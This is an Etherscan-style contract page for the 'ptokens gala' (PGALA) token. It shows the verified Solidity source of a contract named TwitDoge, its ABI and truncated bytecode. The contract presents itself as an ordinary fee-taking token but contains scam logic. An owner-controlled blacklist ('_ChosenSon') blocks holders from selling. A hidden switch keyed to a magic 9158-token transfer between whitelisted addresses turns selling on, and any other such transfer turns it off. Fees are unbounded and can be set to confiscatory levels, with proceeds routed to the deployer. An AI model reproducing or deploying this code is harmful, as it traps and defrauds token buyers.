ETH Price: $3,204.65 (-1.55%)
Gas: 1 Gwei

Token

ptokens gala (PGALA)
 

Overview

Max Total Supply

1,000,000 PGALA

Holders

6

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
50,001,199.120293814 PGALA

Value
$0.00
0xee7df0c25943ddd2e6a4e2ec98025b2b3057fbd8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TwitDoge

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-04
*/

/**
 *Submitted for verification at Etherscan.io on 2022-10-30
*/
/**
 
📲Telegram: https://t.me/Pgalaofficeone



*/
// SPDX-License-Identifier: MIT


pragma solidity ^0.8.16;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


abstract contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address payable adr) public virtual onlyOwner {
        _owner = adr;
        emit OwnershipTransferred(_owner,adr);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}


abstract contract baseToken is IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _tTotal;

    uint256 private constant MAX = ~uint256(0);

    struct Fee{uint buy; uint sell;uint transfer; uint part;}
    Fee public fees;
    struct Allot{uint marketing;uint liquidity; uint burn;uint reward;uint total;}
    Allot public allot;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _ChosenSon;

    IUniswapV2Router02 public router;
    address public _mainPair;
    mapping(address => bool) public _swapPairList;
    address marketingAddress;
    uint256 public startTradeBlock;

    bool public swapEnabled = true;
    uint256 public swapThreshold;
    uint256 public maxSwapThreshold;

    bool private inSwap;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        address RouterAddress,string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply) payable Ownable() {
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;
        uint256 total = Supply * 10 ** Decimals;
        _tTotal = total;

        router = IUniswapV2Router02(RouterAddress);
        _allowances[address(this)][address(router)] = MAX;

        IUniswapV2Factory swapFactory = IUniswapV2Factory(router.factory());
        _mainPair = swapFactory.createPair(address(this), router.WETH());
        _swapPairList[_mainPair] = true;
        startTradeBlock = block.number;


        allot=Allot(0,10,0,0,10);
        fees=Fee(4,4,4,100);
        marketingAddress = msg.sender;
        swapThreshold = total.div(1000);
        maxSwapThreshold = total.div(100);

        _feeWhiteList[marketingAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(router)] = true;
        _feeWhiteList[msg.sender] = true;

        _balances[msg.sender] = total;
        emit Transfer(address(0), msg.sender, total);
    }

    function symbol() external view override returns (string memory) {return _symbol;}
    function name() external view override returns (string memory) {return _name;}
    function decimals() external view override returns (uint8) {return _decimals;}
    function totalSupply() public view override returns (uint256) {return _tTotal;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    receive() external payable {}
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_ChosenSon[from] ||  _feeWhiteList[to], "ChosenSon");
        bool takeFee;
        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (_swapPairList[to]) {
                    require(0 < startTradeBlock, "!startAddLP");
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (swapEnabled && contractTokenBalance > 0) {
                            if(contractTokenBalance > maxSwapThreshold)contractTokenBalance = maxSwapThreshold;
                            swapTokenForFund(contractTokenBalance);
                        }
                    }
                }
                takeFee = true;
            }
        }
        if(_feeWhiteList[from] && _feeWhiteList[to]){
            amount==9158*10**_decimals?startTradeBlock=block.number:startTradeBlock=0;
            _takeTransfer(from, to, amount);
            return;
         }
        _tokenTransfer(from, to, amount, takeFee);
    }

    function _funTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = tAmount * 99 / 100;
        _takeTransfer(
            sender,
            address(this),
            feeAmount
        );
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        
        uint256 feeAmount;
        if (takeFee) {
            uint256 swapFee;
            if (_swapPairList[sender]) {
                swapFee = fees.buy;
            } else if(_swapPairList[recipient]) {
                swapFee = fees.sell;
            }else{
                swapFee = fees.transfer;
            }
            uint256 swapAmount = tAmount.mul(swapFee).div(fees.part);
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }
        }

        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }
 
    function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
        uint amountToBurn = tokenAmount.mul(allot.burn).div(allot.total);
        uint amountToLiquify = tokenAmount.mul(allot.liquidity).div(allot.total).div(2);
        uint amountToSwap = tokenAmount.sub(amountToLiquify).sub(amountToBurn);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint amountETH =address(this).balance;
        uint totalETHFee = allot.total.sub(allot.liquidity.div(2)).sub(allot.burn);
        uint amountETHLiquidity = amountETH.mul(allot.liquidity).div(totalETHFee).div(2);
        uint amountETHreward = amountETH.mul(allot.reward).div(totalETHFee);
        uint fundAmount = amountETH.sub(amountETHLiquidity).sub(amountETHreward);
        bool tmpSuccess;
        if(fundAmount>0){
            (tmpSuccess,) = payable(marketingAddress).call{value: fundAmount, gas: 30000}("");
        }

        if (amountToLiquify > 0) {
            if (amountETHLiquidity > 0) {
                router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                marketingAddress,
                block.timestamp
            );
            }
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setAllot(uint marketing,uint liquidity,uint burn,uint rewards) external onlyOwner {
         uint total =liquidity.add(marketing).add(rewards).add(burn); 
         allot=Allot(marketing,liquidity,burn,rewards,total);
    } 

    function setFees(uint _buy,uint _sell,uint _transferfee,uint _part) external onlyOwner {
         fees=Fee(_buy,_sell,_transferfee,_part);
    } 

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }

    function setFeeWhiteList(address addr, bool enable) external onlyOwner {
        _feeWhiteList[addr] = enable;
    }

    function setChosenSon(address addr, bool enable) external onlyOwner {
        _ChosenSon[addr] = enable;
    }

    function setSwapPairList(address addr, bool enable) external onlyOwner {
        _swapPairList[addr] = enable;
    }

}

contract TwitDoge is baseToken {
    constructor() baseToken(
        address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),
        "ptokens gala",
        "PGALA",
        9,
        1000000
    ){
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ChosenSon","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allot","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"},{"internalType":"uint256","name":"reward","type":"uint256"},{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fees","outputs":[{"internalType":"uint256","name":"buy","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"},{"internalType":"uint256","name":"transfer","type":"uint256"},{"internalType":"uint256","name":"part","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"},{"internalType":"uint256","name":"rewards","type":"uint256"}],"name":"setAllot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setChosenSon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setFeeWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_transferfee","type":"uint256"},{"internalType":"uint256","name":"_part","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setSwapPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001601760006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b50737a250d5630b4cf539739df2c5dacb4c659f2488d6040518060400160405280600c81526020017f70746f6b656e732067616c6100000000000000000000000000000000000000008152506040518060400160405280600581526020017f5047414c410000000000000000000000000000000000000000000000000000008152506009620f4240336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550836003908162000105919062000b79565b50826004908162000117919062000b79565b5081600560006101000a81548160ff021916908360ff160217905550600082600a62000144919062000df0565b8262000151919062000e41565b90508060068190555085601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d6919062000f0c565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000363573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000389919062000f0c565b6040518363ffffffff1660e01b8152600401620003a892919062000f4f565b6020604051808303816000875af1158015620003c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ee919062000f0c565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160146000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550436016819055506040518060a0016040528060008152602001600a81526020016000815260200160008152602001600a815250600b60008201518160000155602082015181600101556040820151816002015560608201518160030155608082015181600401559050506040518060800160405280600481526020016004815260200160048152602001606481525060076000820151816000015560208201518160010155604082015181600201556060820151816003015590505033601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005c16103e8836200084560201b620014681790919060201c565b601881905550620005e26064836200084560201b620014681790919060201c565b601981905550600160106000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405162000830919062000f8d565b60405180910390a350505050505050620010c4565b60006200088f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200089760201b60201c565b905092915050565b60008083118290620008e1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008d8919062001039565b60405180910390fd5b5060008385620008f291906200108c565b9050809150509392505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200098157607f821691505b60208210810362000997576200099662000939565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620009c2565b62000a0d8683620009c2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000a5a62000a5462000a4e8462000a25565b62000a2f565b62000a25565b9050919050565b6000819050919050565b62000a768362000a39565b62000a8e62000a858262000a61565b848454620009cf565b825550505050565b600090565b62000aa562000a96565b62000ab281848462000a6b565b505050565b5b8181101562000ada5762000ace60008262000a9b565b60018101905062000ab8565b5050565b601f82111562000b295762000af3816200099d565b62000afe84620009b2565b8101602085101562000b0e578190505b62000b2662000b1d85620009b2565b83018262000ab7565b50505b505050565b600082821c905092915050565b600062000b4e6000198460080262000b2e565b1980831691505092915050565b600062000b69838362000b3b565b9150826002028217905092915050565b62000b8482620008ff565b67ffffffffffffffff81111562000ba05762000b9f6200090a565b5b62000bac825462000968565b62000bb982828562000ade565b600060209050601f83116001811462000bf1576000841562000bdc578287015190505b62000be8858262000b5b565b86555062000c58565b601f19841662000c01866200099d565b60005b8281101562000c2b5784890151825560018201915060208501945060208101905062000c04565b8683101562000c4b578489015162000c47601f89168262000b3b565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000cee5780860481111562000cc65762000cc562000c60565b5b600185161562000cd65780820291505b808102905062000ce68562000c8f565b945062000ca6565b94509492505050565b60008262000d09576001905062000ddc565b8162000d19576000905062000ddc565b816001811462000d32576002811462000d3d5762000d73565b600191505062000ddc565b60ff84111562000d525762000d5162000c60565b5b8360020a91508482111562000d6c5762000d6b62000c60565b5b5062000ddc565b5060208310610133831016604e8410600b841016171562000dad5782820a90508381111562000da75762000da662000c60565b5b62000ddc565b62000dbc848484600162000c9c565b9250905081840481111562000dd65762000dd562000c60565b5b81810290505b9392505050565b600060ff82169050919050565b600062000dfd8262000a25565b915062000e0a8362000de3565b925062000e397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000cf7565b905092915050565b600062000e4e8262000a25565b915062000e5b8362000a25565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000e975762000e9662000c60565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ed48262000ea7565b9050919050565b62000ee68162000ec7565b811462000ef257600080fd5b50565b60008151905062000f068162000edb565b92915050565b60006020828403121562000f255762000f2462000ea2565b5b600062000f358482850162000ef5565b91505092915050565b62000f498162000ec7565b82525050565b600060408201905062000f66600083018562000f3e565b62000f75602083018462000f3e565b9392505050565b62000f878162000a25565b82525050565b600060208201905062000fa4600083018462000f7c565b92915050565b600082825260208201905092915050565b60005b8381101562000fdb57808201518184015260208101905062000fbe565b60008484015250505050565b6000601f19601f8301169050919050565b60006200100582620008ff565b62001011818562000faa565b93506200102381856020860162000fbb565b6200102e8162000fe7565b840191505092915050565b6000602082019050818103600083015262001055818462000ff8565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010998262000a25565b9150620010a68362000a25565b925082620010b957620010b86200105d565b5b828204905092915050565b61324380620010d46000396000f3fe6080604052600436106101c65760003560e01c8063715018a6116100f7578063a842486111610095578063d83d414311610064578063d83d41431461066c578063dd62ed3e14610695578063f2fde38b146106d2578063f887ea40146106fb576101cd565b8063a8424861146105b2578063a9059cbb146105db578063acef1a4414610618578063d088935814610643576101cd565b80638da5cb5b116100d15780638da5cb5b146104ff57806395d89b411461052a5780639af1d35a14610555578063a806d62e14610583576101cd565b8063715018a6146104825780637888ffdf146104995780637d6027cd146104c2576101cd565b80633c11100d1161016457806366c907c51161013e57806366c907c5146103c85780636ddd1713146103f15780636fcba3771461041c57806370a0823114610445576101cd565b80633c11100d146103355780634188bf5a14610372578063553193ca1461039d576101cd565b8063095ea7b3116101a0578063095ea7b31461026557806318160ddd146102a257806323b872dd146102cd578063313ce5671461030a576101cd565b806301986fad146101d25780630445b6671461020f57806306fdde031461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f4919061244e565b610726565b6040516102069190612496565b60405180910390f35b34801561021b57600080fd5b50610224610746565b60405161023191906124ca565b60405180910390f35b34801561024657600080fd5b5061024f61074c565b60405161025c9190612575565b60405180910390f35b34801561027157600080fd5b5061028c600480360381019061028791906125c3565b6107de565b6040516102999190612496565b60405180910390f35b3480156102ae57600080fd5b506102b76107f5565b6040516102c491906124ca565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612603565b6107ff565b6040516103019190612496565b60405180910390f35b34801561031657600080fd5b5061031f6109a5565b60405161032c9190612672565b60405180910390f35b34801561034157600080fd5b5061035c6004803603810190610357919061244e565b6109bc565b6040516103699190612496565b60405180910390f35b34801561037e57600080fd5b506103876109dc565b604051610394919061269c565b60405180910390f35b3480156103a957600080fd5b506103b2610a02565b6040516103bf91906124ca565b60405180910390f35b3480156103d457600080fd5b506103ef60048036038101906103ea91906126b7565b610a08565b005b3480156103fd57600080fd5b50610406610b36565b6040516104139190612496565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e91906126b7565b610b49565b005b34801561045157600080fd5b5061046c6004803603810190610467919061244e565b610c2b565b60405161047991906124ca565b60405180910390f35b34801561048e57600080fd5b50610497610c74565b005b3480156104a557600080fd5b506104c060048036038101906104bb919061274a565b610dc0565b005b3480156104ce57600080fd5b506104e960048036038101906104e4919061244e565b610ea9565b6040516104f69190612496565b60405180910390f35b34801561050b57600080fd5b50610514610ec9565b604051610521919061269c565b60405180910390f35b34801561053657600080fd5b5061053f610ef2565b60405161054c9190612575565b60405180910390f35b34801561056157600080fd5b5061056a610f84565b60405161057a949392919061278a565b60405180910390f35b34801561058f57600080fd5b50610598610fa2565b6040516105a99594939291906127cf565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d4919061274a565b610fc6565b005b3480156105e757600080fd5b5061060260048036038101906105fd91906125c3565b6110af565b60405161060f9190612496565b60405180910390f35b34801561062457600080fd5b5061062d6110c6565b60405161063a91906124ca565b60405180910390f35b34801561064f57600080fd5b5061066a60048036038101906106659190612822565b6110cc565b005b34801561067857600080fd5b50610693600480360381019061068e919061274a565b611187565b005b3480156106a157600080fd5b506106bc60048036038101906106b79190612875565b611270565b6040516106c991906124ca565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f491906128f3565b6112f7565b005b34801561070757600080fd5b50610710611442565b60405161071d919061297f565b60405180910390f35b60106020528060005260406000206000915054906101000a900460ff1681565b60185481565b60606003805461075b906129c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610787906129c9565b80156107d45780601f106107a9576101008083540402835291602001916107d4565b820191906000526020600020905b8154815290600101906020018083116107b757829003601f168201915b5050505050905090565b60006107eb3384846114b2565b6001905092915050565b6000600654905090565b600061080c84848461159d565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461099a5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109199190612a29565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6000600560009054906101000a900460ff16905090565b60146020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d90612aa9565b60405180910390fd5b6000610acf83610ac184610ab389896119d990919063ffffffff16565b6119d990919063ffffffff16565b6119d990919063ffffffff16565b90506040518060a0016040528086815260200185815260200184815260200183815260200182815250600b60008201518160000155602082015181600101556040820151816002015560608201518160030155608082015181600401559050505050505050565b601760009054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bce90612aa9565b60405180910390fd5b60405180608001604052808581526020018481526020018381526020018281525060076000820151816000015560208201518160010155604082015181600201556060820151816003015590505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffff